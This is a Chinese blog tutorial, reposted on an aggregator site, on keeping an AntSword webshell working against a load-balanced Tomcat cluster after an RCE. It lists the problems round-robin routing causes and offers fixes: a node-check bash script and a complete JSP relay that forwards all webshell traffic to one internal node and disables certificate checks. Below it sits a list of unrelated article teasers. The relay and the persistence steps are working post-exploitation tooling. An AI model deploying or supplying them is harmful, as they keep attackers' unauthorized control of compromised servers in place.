负载均衡下的webshell

news2025/1/13 15:59:01

文章目录

  • 1.场景描述
  • 2.在蚁剑里添加 Shell
  • 3.因为负载均衡而出现的问题
  • 4.问题解决方案
    • 4.1 方案1
    • 4.2 方案2
    • 4.3 方案3

1.场景描述

当前手里有一个以docker部署的Tomcat负载均衡环境。主机对外ip和端口为192.168.100.130:18080

在这里插入图片描述我们假设其为一个真实的业务系统,存在一个rce漏洞,可以让我们获取webshell
假设目标根目录下已经有了自己上传的木马文件ant.jsp

2.在蚁剑里添加 Shell

在这里插入图片描述测试能够成功是因为我在两个节点均上传了木马文件,但实际场合可能不止一两台,一旦负载均衡开始轮循,而轮循到的主机没有木马则会断开,所以需要注意的一点就是需要将每一台节点的相同位置都上传同样的木马文件

3.因为负载均衡而出现的问题

在这里插入图片描述

问题1:正如上述所说,一旦负载均衡开始轮循,而轮循到的主机没有木马则会断开,解决方法很简单,因为已经有了上传木马的漏洞,故只需要需要将每一台节点的相同位置都上传同样的木马文件

问题2:因为两个节点不断交替,所以我们在执行命令时,无法知道下次的请求交给哪台机器去执行

问题3:当我们需要在服务器上上传一些工具时,可能传到一半就切换到了另一台服务器,毕竟是采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,最后只能两个服务器均得到一部分残缺文件

问题4:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

4.问题解决方案

4.1 方案1

关掉其中一台服务
本次实验中是关掉1台服务器,但放到现实中恐怕要关掉几台几十台服务器才能完成只保留一台机器的目的,虽然能达成解决问题的目的,但造成的影响恐怕有点大,真实环境千万别试

4.2 方案2

写一个判断机器的脚本,如果是自己想要操作的机器就执行,不是就不执行

myip=`hostname -i | awk '{print $2}'`
if [ $myip == "127.0.0.1" ];then
        echo "Node1. I will execute command.\n======\n"
        hostname -i
else
        echo "Other. Try again."
fi

差不多是这样的模式,但它只能解决命令执行问题

4.3 方案3

在web层做一次流量转发
所有流量转发到一台机器上
在这里插入图片描述
转发脚本命令如下

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.20.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

不能用上传文件可能会有分片,只能选择新建再保存

在这里插入图片描述

多保存几次保证两台服务器上均有文件
在这里插入图片描述然后用转发脚本重新登录
在这里插入图片描述
最后结果无论访问到哪台机器均会转发至172.0.0.2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/897136.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QT的布局与间隔器介绍

布局与间隔器 1、概述 QT中使用绝对定位的布局方式&#xff0c;无法适用窗口的变化&#xff0c;但是&#xff0c;也可以通过尺寸策略来进行 调整&#xff0c;使得 可以适用窗口变化。 布局管理器作用最主要用来在qt设计师中进行控件的排列&#xff0c;另外&#xff0c;布局管理…

Newsprk Newspaper新闻报纸WordPress主题

Newsprk Newspaper新闻报纸WordPress主题对于任何使用 WordPress 技术构建的新闻和杂志网站来说都是一个有吸引力且时尚的主题。Newsprk – 报纸 WordPress 主题非常适合任何新闻/杂志或与以下类别匹配的任何特定业务&#xff0c;如博客、体育、时尚、科学、足球、政治、视频、…

足部IMU在复杂场景中行走定位

随着微机电系统&#xff08;MEMS&#xff09;技术的快速发展&#xff0c;基于MEMS的惯性导航系统&#xff08;INS&#xff09;在任意环境的基站定位方面发挥着至关重要的作用。惯性导航具有自主性强、定位频率高、功耗低、实时性强等特点。因此更适合单兵作战、反恐行动、应急救…

基于LSTM深度学习网络的时间序列分析matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 % 随机打乱数据集并划分训练集和测试集 index_list randperm(size(wdata, 1)); ind …

SpringBoot + Vue 微人事 项目 (第八天)

基础信息设置 在该页面添加一个大div&#xff0c;然后添加一个tab选项卡&#xff0c;Element UI里面有 把代码复制到大div里面&#xff0c;把里面的label和name属性改成我们想要的&#xff0c;再把tab-click"handleClick"去掉 <div><el-tabs v-model"a…

vue中实现文字检索时候将搜索内容标红

实现结果 html&#xff1a; <div class"searchBox"><span class"bt">标&#8195&#8195题</span><div class"search"><div class"shuru"><!-- <span class"title">生产经营<…

HTTP 握手过程

HTTP 握手过程 TCP 建立连接 3 次握手 客户端请求连接服务器服务器响应成功客户端回应服务器准备开始连接 TCP 结束连接 4 次挥手 客户端向服务器发送&#xff0c;断开请求服务器向客户端发送&#xff0c;还有数据没有传输完毕&#xff0c;请稍等服务器向客户端发送&#x…

使用css实现点击切换active效果

不使用js&#xff0c;纯css实现点击切换active样式 一个父盒子中嵌套小标签,横向排列 html <div class"box"><a href"#">选项1</a><a href"#">选项2</a><a href"#">选项3</a><a href&…

opencv图像特征-sift(尺度不变特征转换)

图像尺度空间 在一定的范围内&#xff0c;无论物体是大还是小&#xff0c;人眼都可以分辨出来&#xff0c;然而计算机要有相同的能力却很难&#xff0c;所以要让机器能够对物体在不同尺度下有一个统一的认知&#xff0c;就需要考虑图像在不同的尺度下都存在的特点。 尺度空间…

不花一分钱,利用免费电脑软件将视频MV变成歌曲音频MP3

教程 1.点击下载电脑软件下载地址&#xff0c;点击下载&#xff0c;安装。&#xff08;没有利益关系&#xff0c;没有打广告&#xff0c;只是单纯教学&#xff09; 2.安装完成后&#xff0c;点击格式工厂 3.然后如图所示依次&#xff0c;点击【音频】->【-MP3】 3.然后点击…

springBoot 配置文件 spring.mvc.throw-exception-if-no-handler-found 参数的作用

在Spring Boot应用中&#xff0c;可以通过配置文件来控制当找不到请求处理器&#xff08;handler&#xff09;时是否抛出异常。具体的配置参数是spring.mvc.throw-exception-if-no-handler-found。 默认情况下&#xff0c;该参数的值为false&#xff0c;即当找不到请求处理器时…

【C语言知识】数据在内存中的存储

文章目录 一、数据类型介绍二、整型在内存中的存储2.1 原码、反码、补码计算方法&#xff1a; 2.2 大小端介绍 三、浮点数在内存中的存储3.1 浮点数存储规则&#xff1a;3.2 对于M和E的特别规定&#xff1a; 写在最后 深度剖析数据在内存中的存储 一、数据类型介绍 //整型家族…

区块链与加密技术在信息安全中的应用: 探索区块链、加密货币和分布式账本技术如何改善身份验证、数据保护和交易安全。

随着数字化时代的到来&#xff0c;信息安全变得日益重要。随之而来的是对于新颖技术的需求&#xff0c;这些技术能够保护我们的数据、身份和交易免受恶意行为的侵害。区块链、加密货币和分布式账本技术便是这样一些引人瞩目的创新&#xff0c;它们在信息安全领域展现出巨大潜力…

Linux笔试题(2)

27、按下( A ) 键能终止当前运行的命令 A. Ctrl-C B. Ctrl-F C. Ctrl-B D. Ctrl-D 28、下面哪个命令用来启动X Window ( C ) A. runx B. Startx C. startX D. xwin 29、用 “rm -i”,系统会提示什么来让你确认( B ) A.命令行的每个选项 B.是否真的删除 C.是否有写的权限 D…

2023-8-18 区间和

题目链接&#xff1a;区间和 #include <iostream> #include <vector> #include <algorithm>using namespace std;typedef pair<int, int> PII;const int N 300010;int n, m; int a[N], s[N]; vector<int> alls; vector<PII> add, query…

【Alibaba中间件技术系列】「RocketMQ技术专题」小白专区之领略一下RocketMQ基础之最!

应一些小伙伴们的私信&#xff0c;希望可以介绍一下RocketMQ的基础&#xff0c;那么我们现在就从0开始&#xff0c;进入RocketMQ的基础学习及概念介绍&#xff0c;为学习和使用RocketMQ打好基础&#xff01; RocketMQ是一款快速地、可靠地、分布式、容易使用的消息中间件&#…

c++ 友元 运算符重载详解

友元 c是面向对象的&#xff0c;目的之一&#xff1a;封装 封装&#xff1a; 优点之一&#xff0c;就是安全。 缺点&#xff1a;在某些特殊的场合&#xff0c;不是很方便。 华为与IBM 40亿的咨询故事 IBM需要对华为各级部门做深度咨询分析&#xff0c; 为了提高咨询效率&a…

opencv特征匹配

img3 cv2.drawMatchesKnn(img1,kp1,img2,kp2,good,None,flags2) Brute-Force蛮力匹配 import cv2 import numpy as np import matplotlib.pyplot as plt %matplotlib inline img1 cv2.imread(box.png, 0) img2 cv2.imread(box_in_scene.png, 0) def cv_show(name,img):…

容器和云原生(三):kubernetes搭建与使用

目录 单机K8S docker containerd image依赖 kubeadm初始化 验证 crictl工具 K8S核心组件 上文安装单机docker是很简单docker&#xff0c;但是生产环境需要多个主机&#xff0c;主机上启动多个docker容器&#xff0c;相同容器会绑定形成1个服务service&#xff0c;微服务…

新书上市----Pytest企业级应用实战 新书上市

【原文链接】新书上市----Pytest企业级应用实战 新书上市 《Pytest企业级应用实战》 京东购书链接 当当购书链接 天猫购书链接 作者简介 本书作者本硕毕业于哈尔滨工业大学&#xff0c;曾先后就职于中兴通讯和华为&#xff0c;现任职于中科南京软件技术研究院&#xff0c;…